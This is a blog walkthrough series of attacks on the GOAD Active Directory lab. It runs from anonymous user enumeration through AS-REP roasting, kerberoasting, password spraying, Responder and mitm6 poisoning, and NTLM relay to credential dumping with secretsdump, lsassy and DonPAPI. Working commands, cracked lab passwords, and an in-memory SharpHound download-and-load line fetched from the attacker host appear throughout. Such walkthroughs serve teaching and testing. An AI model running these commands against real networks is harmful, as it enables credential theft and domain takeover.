|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 52m29s, deviation: 2h28m29s, median: 0s

Post-scan script results:
| clock-skew: 
|   0s: 
|     192.168.56.11 (winterfell.north.sevenkingdoms.local)
|     192.168.56.22 (castelblack.north.sevenkingdoms.local)
|     192.168.56.12 (essos.local)
|     192.168.56.10 (sevenkingdoms.local)
|_    192.168.56.23 (braavos.essos.local)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 5 IP addresses (5 hosts up) scanned in 572.00 seconds
  • Ok we now know all the hosts and service exposed, let try an anonymous enumeration in the second part.

GOAD part 2 — find users

We have done some basic reconnaissance on part 1, now we will try to enumerate users and start to hunt credentials.

image

Enumerate DC’s anonymously

With CME

cme smb 192.168.56.11 --users
image
  • We get some users with the description and get a first password as samwell.tarly got his password set up in description.

we could also retrieve the password policy before trying bruteforce

image
  • The password policy show us that if we fail 5 times in 5 minutes we lock the accounts for 5minutes.

With enum4linux

  • We can confirm the anonymous listing on the NORTH DC also with Enum4linux:
enum4linux 192.168.56.11
  • We get the user list like cme
image
  • We also get the password policy like cme
image
  • enum4linux also get the full domain user list by enumerating members of domain group
image

With rpc call

  • The anonymous listing is done with Remote Procedure Call on winterfell (192.168.56.11), so we could also do this with rpcclient directly.
rpcclient -U "NORTH\\" 192.168.56.11 -N
rpcclient $> enumdomusers
user:[Guest] rid:[0x1f5]
user:[arya.stark] rid:[0x456]
user:[sansa.stark] rid:[0x45a]
user:[brandon.stark] rid:[0x45b]
user:[rickon.stark] rid:[0x45c]
user:[hodor] rid:[0x45d]
user:[jon.snow] rid:[0x45e]
user:[samwell.tarly] rid:[0x45f]
user:[jeor.mormont] rid:[0x460]
user:[sql_svc] rid:[0x461]

rpcclient $> enumdomgroups
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[DnsUpdateProxy] rid:[0x44f]
group:[Stark] rid:[0x452]
group:[Night Watch] rid:[0x453]
group:[Mormont] rid:[0x454]
  • Get all domain users:
net rpc group members 'Domain Users' -W 'NORTH' -I '192.168.56.11' -U '%'
NORTH\Administrator
NORTH\vagrant
NORTH\krbtgt
NORTH\SEVENKINGDOMS$
NORTH\arya.stark
NORTH\eddard.stark
NORTH\catelyn.stark
NORTH\robb.stark
NORTH\sansa.stark
NORTH\brandon.stark
NORTH\rickon.stark
NORTH\hodor
NORTH\jon.snow
NORTH\samwell.tarly
NORTH\jeor.mormont
NORTH\sql_svc

Enumerate DC’s anonymously - when anonymous sessions are not allowed

The Winterfell domain controler allow anonymous connection, this is the reason why we can list the domain users and groups. But nowadays that kind of configuration almost never happens. (On the opposite password in users description happens quite often x) ).

We can still enumerate valid users by bruteforcing them.

  • First let’s create a user list:
curl -s https://www.hbo.com/game-of-thrones/cast-and-crew | grep 'href="/game-of-thrones/cast-and-crew/'| grep -o 'aria-label="[^"]*"' | cut -d '"' -f 2 | awk '{if($2 == "") {print tolower($1)} else {print tolower($1) "." tolower($2);} }' > got_users.txt
  • We get the following list:
robert.baratheon
tyrion.lannister
cersei.lannister
catelyn.stark
jaime.lannister
daenerys.targaryen
viserys.targaryen
jon.snow
robb.stark
sansa.stark
arya.stark
bran.stark
rickon.stark
joffrey.baratheon
jorah.mormont
theon.greyjoy
samwell.tarly
renly.baratheon
ros
jeor.mormont
gendry
lysa.arryn
robin.arryn
bronn
grand.maester
varys
loras.tyrell
shae
benjen.stark
barristan.selmy
khal.drogo
hodor
lancel.lannister
maester.luwin
alliser.thorne
osha
maester.aemon
talisa.stark
brienne.of
davos.seaworth
tywin.lannister
stannis.baratheon
margaery.tyrell
ygritte
balon.greyjoy
roose.bolton
gilly
podrick.payne
melisandre
yara.greyjoy
jaqen.h’ghar
grey.worm
beric.dondarrion
missandei
mance.rayder
tormund
ramsay.snow
olenna.tyrell
thoros.of
orell
qyburn
brynden.tully
tommen.baratheon
daario.naharis
oberyn.martell
myrcella.baratheon
obara.sand
nym.sand
tyene.sand
high.sparrow
trystane.martell
doran.martell
euron.greyjoy
lady.crane
high.priestess
randyll.tarly
izembaro
brother.ray
archmaester.ebrose
  • Let’s try this list on meereen.essos.local domain controler and kingslanding.sevenkingdoms.local
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='sevenkingdoms.local',userdb=got_users.txt" 192.168.56.10
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-04 22:13 CEST
Nmap scan report for sevenkingdoms.local (192.168.56.10)
Host is up (0.00028s latency).

PORT   STATE SERVICE
88/tcp open  kerberos-sec
| krb5-enum-users: 
| Discovered Kerberos principals
|     [email protected]
|     [email protected]
|     [email protected]
|     [email protected]
|     [email protected]
|     [email protected]
|_    [email protected]
MAC Address: 08:00:27:57:A4:F2 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.83 seconds
  • Great we found 7 valid users on sevenkingdoms.local!
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='essos.local',userdb=got_users.txt" 192.168.56.12
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-04 22:14 CEST
Nmap scan report for essos.local (192.168.56.12)
Host is up (0.00036s latency).

PORT   STATE SERVICE
88/tcp open  kerberos-sec
| krb5-enum-users: 
| Discovered Kerberos principals
|     [email protected]
|     [email protected]
|     [email protected]
|_    [email protected]
MAC Address: 08:00:27:33:DF:2F (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.83 seconds
  • And we found 4 valid users on sevenkingdoms.local
  • As we can see on the nmap page :
  • Discovers valid usernames by brute force querying likely usernames against a Kerberos service. When an invalid username is requested the server will respond using the Kerberos error code KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN, allowing us to determine that the user name was invalid. Valid user names will illicit either the TGT in a AS-REP response or the error KRB5KDC_ERR_PREAUTH_REQUIRED, signaling that the user is required to perform pre authentication.

  • In summary, the badpwdcount will not be increased when you bruteforce users.
  • Let’s verify it :
image

List guest access on shares

  • Let’s take a look on guest access to the smb shares:
image
  • We launch the following command with CME :
cme smb 192.168.56.10-23 -u 'a' -p '' --shares
  • And we found some anonymous shares with READ/WRITE permissions
  • image

User but no credentials

We got users now try to get password for them.

image

ASREP - roasting

  • We create a users.txt file with all the user name previously found on north.sevenkingdoms.local:
sql_svc
jeor.mormont
samwell.tarly
jon.snow
hodor
rickon.stark
brandon.stark
sansa.stark
robb.stark
catelyn.stark
eddard.stark
arya.stark
krbtgt
vagrant
Guest
Administrator
  • We now could try asreproasting on all the users with impacket:
GetNPUsers.py north.sevenkingdoms.local/ -no-pass -usersfile users.txt
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[-] User sql_svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jeor.mormont doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User samwell.tarly doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jon.snow doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User hodor doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User rickon.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[email protected]:5b71bebe8d2955599a76ccf4a4fec284$c4c31f24c834e7d292283d30a8fe53bc7535cbd09ce607a9c6e83f8a581aab2c55a78c49b4187fb729e47e041e90bc97a893b4cc175114471a3d0463b2f47ac07ca2968a6ebf9b12d84e008fe8a9abe7eb2be9ae16c6096740df6467d856ab7f47a56eea06d6fcf68593b0158dfa670e429aebe291492432f9b66198e880fd77cf70bf23c408b055bccc7660a972bdb959115a9550942bbc9debcd847ff88cffecf70cfa0fd8cb5e9935b0933d59eebd0b53d9ccfafd45a8bfc93709c4c61e73ce526fb1e95199b74649929e0e518436b2eee3ac940cace92183774c72dcc9216cec86c374a4b11deade517e04c5b4e34459c43b80d955f5040c256dd53dd69f5f5373fbbf6c
[-] User sansa.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User robb.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User catelyn.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User eddard.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User arya.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User vagrant doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
  • We get a ticket for brandon.stark and we will try to break it as the user don’t require kerberos pre-authentication
hashcat -m 18200 asrephash /usr/share/wordlists/rockyou.txt
...
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 2 secs

[email protected]:5b71bebe8d2955599a76ccf4a4fec284$c4c31f24c834e7d292283d30a8fe53bc7535cbd09ce607a9c6e83f8a581aab2c55a78c49b4187fb729e47e041e90bc97a893b4cc175114471a3d0463b2f47ac07ca2968a6ebf9b12d84e008fe8a9abe7eb2be9ae16c6096740df6467d856ab7f47a56eea06d6fcf68593b0158dfa670e429aebe291492432f9b66198e880fd77cf70bf23c408b055bccc7660a972bdb959115a9550942bbc9debcd847ff88cffecf70cfa0fd8cb5e9935b0933d59eebd0b53d9ccfafd45a8bfc93709c4c61e73ce526fb1e95199b74649929e0e518436b2eee3ac940cace92183774c72dcc9216cec86c374a4b11deade517e04c5b4e34459c43b80d955f5040c256dd53dd69f5f5373fbbf6c:iseedeadpeople

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: [email protected]
Time.Started.....: Mon Jul  4 09:56:16 2022, (0 secs)
Time.Estimated...: Mon Jul  4 09:56:16 2022, (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   393.2 kH/s (5.44ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 57344/14344385 (0.40%)
Rejected.........: 0/57344 (0.00%)
Restore.Point....: 49152/14344385 (0.34%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: truckin -> YELLOW1
Hardware.Mon.#1..: Temp: 78c Util: 80%
  • We found the user password “iseedeadpeople”
  • We now have two couple of credentials :
    • samwell.tarly:Heartsbane
    • brandon.stark:iseedeadpeople

Password Spray

  • We could try the classic user=password test

cme smb 192.168.56.11 -u users.txt -p users.txt --no-bruteforce
image
  • We also could use sprayhound (https://github.com/Hackndo/sprayhound)
sprayhound -U users.txt -d north.sevenkingdoms.local -dc 192.168.56.11 --lower
image
⚠️
When you are doing password spray, be carreful you can lock accounts !
  • We could try sprayhound with a valid user to avoid locking account (option -t to set the number of try left)
sprayhound -U users.txt -d north.sevenkingdoms.local -dc 192.168.56.11 -lu hodor -lp hodor --lower -t 2
  • See the status of bruteforce

cme smb -u samwell.tarly -p Heartsbane -d north.sevenkingdoms.local 192.168.56.11 --users
image
  • We now got three couple of credentials :
    • samwell.tarly:Heartsbane (user description)
    • brandon.stark:iseedeadpeople (asreproasting)
    • hodor:hodor (password spray)
  • Great, in the next part we will start to dig what to do with a valid user.

GOAD part 3 — enumeration with user

We found some users on part 2, now let see what we can do with those creds.

User listing

image
  • When you get an account on an active directory, the first thing to do is always getting the full list of users.
  • Once you get it you could do a password spray on the full user list (very often you will find other accounts with weak password like username=password, SeasonYear!, SocietynameYear! or even 123456).
GetADUsers.py -all north.sevenkingdoms.local/brandon.stark:iseedeadpeople
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Querying north.sevenkingdoms.local for information about domain.
Name                  Email                           PasswordLastSet      LastLogon           
--------------------  ------------------------------  -------------------  -------------------
Administrator                                         2022-06-29 00:32:20.901897  2022-07-01 17:48:41.983605 
Guest                                                 <never>              <never>             
vagrant                                               2021-05-12 13:38:55.922520  2022-07-01 12:08:35.223885 
krbtgt                                                2022-06-29 00:48:58.950440  <never>             
arya.stark                                            2022-06-29 07:48:08.060667  2022-07-03 17:40:06.721358 
eddard.stark                                          2022-06-29 07:48:11.560625  2022-07-04 23:33:27.976702 
catelyn.stark                                         2022-06-29 07:48:15.013735  <never>             
robb.stark                                            2022-06-29 07:48:18.544972  2022-07-04 23:35:50.678794 
sansa.stark                                           2022-06-29 07:48:21.607059  <never>             
brandon.stark                                         2022-06-29 07:48:24.278459  2022-07-04 23:36:08.991489 
rickon.stark                                          2022-06-29 07:48:26.966809  <never>             
hodor                                                 2022-06-29 07:48:29.670052  2022-07-04 23:21:58.774078 
jon.snow                                              2022-06-29 07:48:32.373101  2022-07-03 17:36:26.798060 
samwell.tarly                                         2022-06-29 07:48:35.107476  2022-07-01 16:35:17.043960 
jeor.mormont                                          2022-06-29 07:48:37.841846  <never>             
sql_svc                                               2022-06-29 07:48:40.248028  2022-07-03 15:56:57.924607
ldapsearch -H ldap://192.168.56.11 -D "[email protected]" -w iseedeadpeople -b 'DC=north,DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))" |grep 'distinguishedName:'
image
  • With ldap query we can request users of the others domain because a trust is present.
  • On essos.local
ldapsearch -H ldap://192.168.56.12 -D "[email protected]" -w iseedeadpeople -b ',DC=essos,DC=local' "(&(objectCategory=person)(objectClass=user))"
  • On sevenkingdoms.local
ldapsearch -H ldap://192.168.56.10 -D "[email protected]" -w iseedeadpeople -b 'DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))"

Kerberoasting

  • On an active directory, we will see very often users with an SPN set.
  • let’s find them with impacket
GetUserSPNs.py -request -dc-ip 192.168.56.11 north.sevenkingdoms.local/brandon.stark:iseedeadpeople -outputfile kerberoasting.hashes
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
ServicePrincipalName                                 Name      MemberOf                                                    PasswordLastSet             LastLogon                   Delegation  
---------------------------------------------------  --------  ----------------------------------------------------------  --------------------------  --------------------------  -----------
CIFS/winterfell.north.sevenkingdoms.local            jon.snow  CN=Night Watch,CN=Users,DC=north,DC=sevenkingdoms,DC=local  2022-06-29 07:48:32.373101  2022-06-29 10:34:54.308171  constrained 
HTTP/thewall.north.sevenkingdoms.local               jon.snow  CN=Night Watch,CN=Users,DC=north,DC=sevenkingdoms,DC=local  2022-06-29 07:48:32.373101  2022-06-29 10:34:54.308171  constrained 
MSSQLSvc/castelblack.north.sevenkingdoms.local       sql_svc                                                               2022-06-29 07:48:40.248028  2022-06-29 22:54:57.422114              
MSSQLSvc/castelblack.north.sevenkingdoms.local:1433  sql_svc                                                               2022-06-29 07:48:40.248028  2022-06-29 22:54:57.422114

All the hashes will be stored in the file named kerberoasting.hashes

  • we could also do that with cme with the following command :
cme ldap 192.168.56.11 -u brandon.stark -p 'iseedeadpeople' -d north.sevenkingdoms.local --kerberoasting KERBEROASTING
  • Now let’s try to crack the hashes :
hashcat -m 13100 --force -a 0 kerberoasting.hashes /usr/share/wordlists/rockyou.txt --force
  • we quickly get a result with rockyou :
image
  • And we found another user : north/jon.snow:iknownothing

share enum

  • we got a domain user so we could enumerate the share another time but with a user account
cme smb 192.168.56.10-23 -u jon.snow -p iknownothing -d north.sevenkingdoms.local --shares
image
  • Now a new share folder is readable (nothing in it on the lab, but on a real assignment you will get very often juicy informations)

DNS dump

  • Another cool thing to do when we got a user is enumerate dns. For this we can use dirkjanm’s tool adidnsdump.
adidnsdump -u 'north.sevenkingdoms.local\jon.snow' -p 'iknownothing' winterfell.north.sevenkingdoms.local
  • Results are stored in a records.csv file
cat records.csv 
type,name,value
A,winterfell,192.168.56.11
A,winterfell,10.0.2.15
?,DomainDnsZones,?
?,castelblack,?
NS,@,winterfell.north.sevenkingdoms.local.
A,@,192.168.56.11
A,@,10.0.2.15

Bloodhound

  • Boodhound is one of the best tool for an active directory pentest. This tool will help you to find all the path to pwn the AD and is a must have in your arsenal !
  • To launch bloodhound you first need to retreive all the datas from the differents domains.

Python ingestor - from linux

bloodhound.py --zip -c All -d north.sevenkingdoms.local -u brandon.stark -p iseedeadpeople -dc winterfell.north.sevenkingdoms.local
image

Ok now, we have all information from the domain north.sevenkingdoms.local. Now try to get information from other domains :

bloodhound.py --zip -c All -d sevenkingdoms.local -u [email protected] -p iseedeadpeople -dc kingslanding.sevenkingdoms.local
bloodhound.py --zip -c All -d essos.local -u [email protected] -p iseedeadpeople -dc meereen.essos.local
image
  • We now got the 3 domains informations :)
  • but the python ingestor is not as complete as the .net ingestor as we can see on the github project : “Supports most, but not all BloodHound (SharpHound) features (see below for supported collection methods, mainly GPO based methods are missing)”
  • So let’s do that again from Windows this time.

.net ingestor - from Windows

xfreerdp /u:jon.snow /p:iknownothing /d:north /v:192.168.56.22 /cert-ignore
  • The C:\vagrant folder is automatically mounted on the vm it will simplify file transfert
  • we will launch sharphound to retreive domains informations
.\sharphound.exe -d north.sevenkingdoms.local -c all --zipfilename bh_north_sevenkingdoms.zip
.\sharphound.exe -d sevenkingdoms.local -c all --zipfilename bh_sevenkingdoms.zip
.\sharphound.exe -d essos.local -c all --zipfilename bh_essos.zip
image
  • Or we could also do it in reflection with powershell if you want to play it full in memory (if you do this with defender enabled you will first have to bypass amsi)
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.56.1/SharpHound.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Sharphound.Program]::Main("-d north.sevenkingdoms.local -c all".Split())

Hunting with bloodhound

  • Now start neo4j and bloodhound (at the time of writing the python ingestor match bloodhound 4.1 be sure to get the right version)
  • Upload the zips into bloodhound
  • And now show all domains and computer
MATCH p = (d:Domain)-[r:Contains*1..]->(n:Computer) RETURN p
image
  • And show all the users
MATCH p = (d:Domain)-[r:Contains*1..]->(n:User) RETURN p
image
  • let see the overall map of domains/groups/users
MATCH q=(d:Domain)-[r:Contains*1..]->(n:Group)<-[s:MemberOf]-(u:User) RETURN q
image
  • Let see the users ACL
MATCH p=(u:User)-[r1]->(n) WHERE r1.isacl=true and not tolower(u.name) contains 'vagrant' RETURN p
image

In the next article we will start to play with poisoning and ntlm relay.

GOAD part 4 — poison and relay

In the previous post we start to dig on what to do when you got a user account. Before start exploiting the VMs with a user account, we will just step back to the state (without user account) and see what we can do with responder, mitm6 and NTLM relay !

image

Responder

When you start a pentest without any creds, responder is a must run tool. In a standard windows active directory (without any modification) It will give you :

  • usernames
  • netntlmv1 (if the server is very old) / netntlmv2 hashes
  • the ability to redirect the authentication (NTLM relay)

In the lab, there are two bots to simulate LLMRN, MDNS and NBT-NS requests. One user has a weak password but no admin right. Another user has admin rights but uses a strong password.

Let start responder to see if we can get some informations.

responder -I vboxnet0

Some minutes later we will get robb.stark netntlmv2 hash

image
  • The bot try to make a smb connection to bravos instead of braavos. The dns doesn’t know bravos without two ‘a’ so by default windows will send a broadcast request to find the associated computer. With responder we answer to that broadcast query and say that this server is us, and so we get the connection from the user.

After some more minutes (eddard bot is set to run every 5 minutes and robb every 3 minutes) we got also a connection from eddard.stark:

image
  • The netntlm hashes are not usable to do pass the hash, but you can crack them to retrieve the password.
  • We create a file responder.hashes with the two hashes found and we will start to crack it with hashcat.
robb.stark::NORTH:1122334455667788:138B29A14C5A082F19F946BB3AFF537E:01010000000000000090C5E56494D801E5D2F5789054B95D0000000002000800480053003600340001001E00570049004E002D004C00420052004E0041004D0031005300540051005A0004003400570049004E002D004C00420052004E0041004D0031005300540051005A002E0048005300360034002E004C004F00430041004C000300140048005300360034002E004C004F00430041004C000500140048005300360034002E004C004F00430041004C00070008000090C5E56494D801060004000200000008003000300000000000000000000000003000002D4B5557B9EF589ECE5944B06785A55D686F279D120AC87BCBF6D0FEAA6663B90A001000000000000000000000000000000000000900160063006900660073002F0042007200610076006F0073000000000000000000
eddard.stark::NORTH:1122334455667788:76E26250ABF96A09E68ADC5A9B1A4C29:01010000000000000090C5E56494D801CA05EDDA86BE30280000000002000800480053003600340001001E00570049004E002D004C00420052004E0041004D0031005300540051005A0004003400570049004E002D004C00420052004E0041004D0031005300540051005A002E0048005300360034002E004C004F00430041004C000300140048005300360034002E004C004F00430041004C000500140048005300360034002E004C004F00430041004C00070008000090C5E56494D801060004000200000008003000300000000000000000000000003000002D4B5557B9EF589ECE5944B06785A55D686F279D120AC87BCBF6D0FEAA6663B90A001000000000000000000000000000000000000900140063006900660073002F004D006500720065006E000000000000000000
hashcat -m 5600 --force -a 0 responder.hashes /usr/share/wordlists/rockyou.txt
image
  • We quickly get another user account robb.stark:sexywolfy. This is enough to pwn the north domain as robb is an administrator of winterfell (the north dc).
  • Eddard’s password is stronger and cannot be break with this method. This doesn’t mean we can do nothing. What we could do is relay eddard connection to a server where smb is not signed ;)
Responder keep the logs in /opt/tools/Responder/logs (on exegol), if you need to show them again.
💡
If you want to delete the previous captured logs (message skipped previously captured hash) delete the file /opt/tools/Responder/Responder.db

NTLM relay

image

Unsigned SMB

Let’s start hunting unsigned smb in the lab and generate a list of IP targets.

cme smb 192.168.56.10-23 --gen-relay-list relay.txt
image

Ok now we got a list of signing:False smb computers, we can start to try to relay ntlm authentication to them.

responder + ntlmrelayx to smb

Before starting responder to poison the answer to LLMNR, MDNS and NBT-NS request we must stop the responder smb and http server as we don’t want to get the hashes directly but we want to relay them to ntlmrelayx.

sed -i 's/HTTP = On/HTTP = Off/g' /opt/tools/Responder/Responder.conf && cat /opt/tools/Responder/Responder.conf | grep --color=never 'HTTP ='
sed -i 's/SMB = On/SMB = Off/g' /opt/tools/Responder/Responder.conf && cat /opt/tools/Responder/Responder.conf | grep --color=never 'SMB ='

Next, we start ntlmrelayx

mtlmrelayx -tf smb_targets.txt -of netntlm -smb2support -socks
  • tf : list of targets to relay the authentication
  • of : output file, this will keep the captured smb hashes just like we did before with responder, to crack them later
  • smb2support : support for smb2
  • socks : will start a socks proxy to use relayed authentication

The program send back this error :

Type help for list of commands
    self._target(*self._args, **self._kwargs)
  File "/usr/local/lib/python3.10/dist-packages/impacket/examples/ntlmrelayx/servers/socksserver.py", line 247, in webService
    from flask import Flask, jsonify
  File "/usr/local/lib/python3.10/dist-packages/flask/__init__.py", line 19, in <module>
    from jinja2 import Markup, escape
ImportError: cannot import name 'Markup' from 'jinja2' (/usr/local/lib/python3.10/dist-packages/jinja2/__init__.py)

let’s fix it :

pip3 install Flask Jinja2 --upgrade
  • Relaunch ntlmrelayx, fine it work :)
ntlmrelayx -tf smb_targets.txt -of netntlm -smb2support -socks
  • Start responder to redirect queries to the relay server
responder -I vboxnet0
image
  • The poisoned connections are relayed to castelblack (192.168.56.22) and essos (192.168.56.23) and a socks proxy is setup to use the connection.
  • As eddard.stark is a domain administrator of north.sevenkingdoms.local he got administrator privileges on castelback.

Now we can use this relay to get an access to the computer as an administrator

Use a socks relay with an admin account

Secretsdump

  • Use secretsdump to get SAM database, LSA cached logon, machine account and some DPAPI informations
proxychains secretsdump -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.56.22'
image
  • The sam database contains the local accounts. We will ignore vagrant as it is the default user to setup the lab.
  • The important information here is the NT hash of the local administrator user.
  • We also got the LSA cache of the last connected users (by default windows keep the last 10 users), this is useful to connect to the server even if the domain controller is unreachable. But those cached credentials can be cracked offline with hashcat (very slow).
  • And to finish we also got the hash of the computer account. (Sometimes you will get no useful domain accounts or no information at all on a domain joined computer but if you get this hash you got an account on the domain!)
💡
With a machine account you can query the ldap like any other users and you can also run bloodhound ingestor ;)

Lsassy

  • Use lsassy to get the lsass process stored credentials
  • Domain accounts informations are stored in the LSASS process so make a dump of this process can give you more domain accounts and privileges.
  • Lsassy allow you to dump lsass remotely (very more convenient then doing a procdump, download of the lsass dump file and doing pypykatz or mimikatz locally), it do all the painful actions like dump and read lsass content for you (it also dump only the usefull part of the lsass dump optimizing the time of transfer). (lsassy also exist as a cme module)
proxychains lsassy --no-pass -d NORTH -u EDDARD.STARK 192.168.56.22
image

DonPapi

  • My third favorite tool to retreive secrets of windows with linux is donPAPI, it is used to get dpapi and other passwords stored informations (files, browser, schedule tasks,…). This tool don’t touch LSASS so it is stealthier and work most of the time even if av and edr are enabled on the target.
proxychains DonPAPI -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.56.22'
image
  • DonPapi give us the stored password for the sql service sql_svc:YouWillNotKerboroast1ngMeeeeee
  • We also get the password of robb.stark due to a scheduled task setup on this computer too.
image

Smbclient

  • Connect directly to the smbserver with smbclient
proxychains smbclient.py -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.56.22' -debug
image

Code execution : smbexec or atexec

proxychains smbexec.py -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.56.22' -debug
image

Mitm6 + ntlmrelayx to ldap

Another useful way to poison the network is by giving answer to DHCPv6 requests and setting our host as the default DNS server. Windows by default prefers IPv6 over IPv4 so we could capture and poison the response to DHCPv6 query to change the DNS server and redirect queries to our machine with the tool MITM6.

  • We will start mitm6 to poison dhcpv6 and get dns request from the hosts
  • As a side note, i notice we can poison domain controler but after that the DC’s doesn’t care and still use their localhost dns server.
  • So we must target servers
  • For this example we will poison braavos server. We will answer to wpad queries and relay the http query to ldaps on meereen to add a computer with delegate access.
  • ~First we need to make small changes on braavos.local network configuration~ (Edit: Not needed anymore if you did the ansible provisioning after 08/18/2022)
  • Connect to braavos with khal.drogo:horse on rdp and change the dns server of the ethernet to automatic (i will fix that in the ansible lab playbooks soon but for now you will have to do that by hand). Change only the first ethernet connection to automatic dns.
image
image
  • start poisoning with mitm6 and start ntlmrelayx
mitm6 -i vboxnet0 -d essos.local -d sevenkingdoms.local -d north.sevenkingdoms.local --debug
ntlmrelayx.py -6 -wh wpadfakeserver.essos.local -t ldaps://meereen.essos.local --add-computer relayedpccreate --delegate-access
image
  • As we can see the dns is now poisonned
image
  • We wait for a wpad http query to relay the request to the ldaps (you can reboot the VM to poison and exploit without waiting)
image
  • A new computer has been created with delegate access to Braavos$ because we poison Braavos$ computer account and it can set the msDS-AllowedToActOnBehalfOfOtherIdentity on the created computer.
  • And we can continue with RBCD exploitation just like in the next paragraph (with getST to call s4u2proxy)
  • If we specify a loot dir all the informations on the ldap are automatically dumped
ntlmrelayx.py -6 -wh wpadfakeserver.essos.local -t ldaps://meereen.essos.local -l /workspace/loot
  • Open an rdp with essos.local/khal.drogo:horse
  • When the relay is up and running we can get all the domain information
image
image
image
Another thing we could do is also relay to smb server just like what we did with responder (but there is no bot for now to do it so you have to do the poisoned victim)

Coerced auth smb + ntlmrelayx to ldaps with drop the mic

image

We can coerce a connection from meereen DC to our host using multiple methods (petitpotam, printerbug, DFSCoerce). To force a coerce without choosing between the different methods, we can use the all-in-one tool who just came up coercer

As explained beautifully in the hackndo blog (en.hackndo.com/ntlm-relay) and in the hacker receipe (www.thehacker.recipes/ad/movement/ntlm/relay), you can’t relay smb connection to ldap(s) connection without using CVE-2019-1040 a.k.a remove-mic.

  • Start the relay with remove mic to the ldaps of meereen.essos.local.
mtlmrelayx -t ldaps://meereen.essos.local -smb2support --remove-mic --add-computer removemiccomputer --delegate-access
  • Run the coerce authentication on braavos (braavos is a windows server 2016 up to date so petitpotam unauthenticated will not work here)
python3 coercer.py -u khal.drogo -d essos.local -p horse -t braavos.essos.local -l 192.168.56.1
image
  • The attack worked we can now exploit braavos with RBCD
getST.py -spn HOST/BRAAVOS.ESSOS.LOCAL -impersonate Administrator -dc-ip 192.168.56.12 'ESSOS.LOCAL/removemiccomputer$:_53>W3){OkTY{ej'
image
  • and use that ticket to retreive secrets
export KRB5CCNAME=/workspace/Administrator.ccache
secretsdump -k -no-pass ESSOS.LOCAL/'Administrator'@braavos.essos.local
image

Next time we will go back to the exploitation with a user account part (samccountname, printnightmare).

GOAD part 5 — exploit with user

In the previous post we played with relay ntlm. During this article we will continue to discover what can be done using a valid domain account

image

Here we will only try samAccountName exploit and PrintNightmare as MS14-068 is now too old (Windows Server 2012 R2 max).

SamAccountName (nopac)

In the end of 2021 when everyone was worried about the log4j “log4shell” vulnerability another vulnerability raise up with less noise : CVE-2021-42287.

Check if we can add computer

For this attack i will use north/jon.snow:iknownothing account as we previously get it with kerberoasting in the part3.

Let’s find a cme module to check the machine account quota

cme ldap -L
image
cme ldap winterfell.north.sevenkingdoms.local -u jon.snow -p iknownothing -d north.sevenkingdoms.local -M MAQ
image

Prepare Impacket

Before exploiting with impacket let’s prepare our impacket version with the pull request we want.

  • Clone the impacket repo
cd /opt/tools
git clone https://github.com/SecureAuthCorp/impacket myimpacket
  • Create our branch
cd myimpacket
git checkout -b mydev
  • Create a venv to don’t interfer with the host environment and install the repository we just checkout
python3 -m virtualenv myimpacket
source myimpacket/bin/activate
python3 -m pip install .
  • Get the waiting pull requests we want (You can find a huge list of nice PR to merge in exegol install script : https://github.com/ShutdownRepo/Exegol-images/blame/main/sources/install.sh#L286 )
git fetch origin pull/1224/head:1224
git fetch origin pull/1202/head:1202
  • Merge the pull requests to our branch
git merge 1202
git merge 1224
  • Reorder the path entry result to load our pyenv bin before the others in the $PATH (this is needed on zsh, in bash it take directly our pyenv bins)
rehash
  • Now let’s check we get all the binaries and options we want :
renameMachine.py
getST.py
  • Excellent, we are now using the latest impacket version with Shutdown (@_nwodtuhs) pull requests needed for this attack :)

Exploit

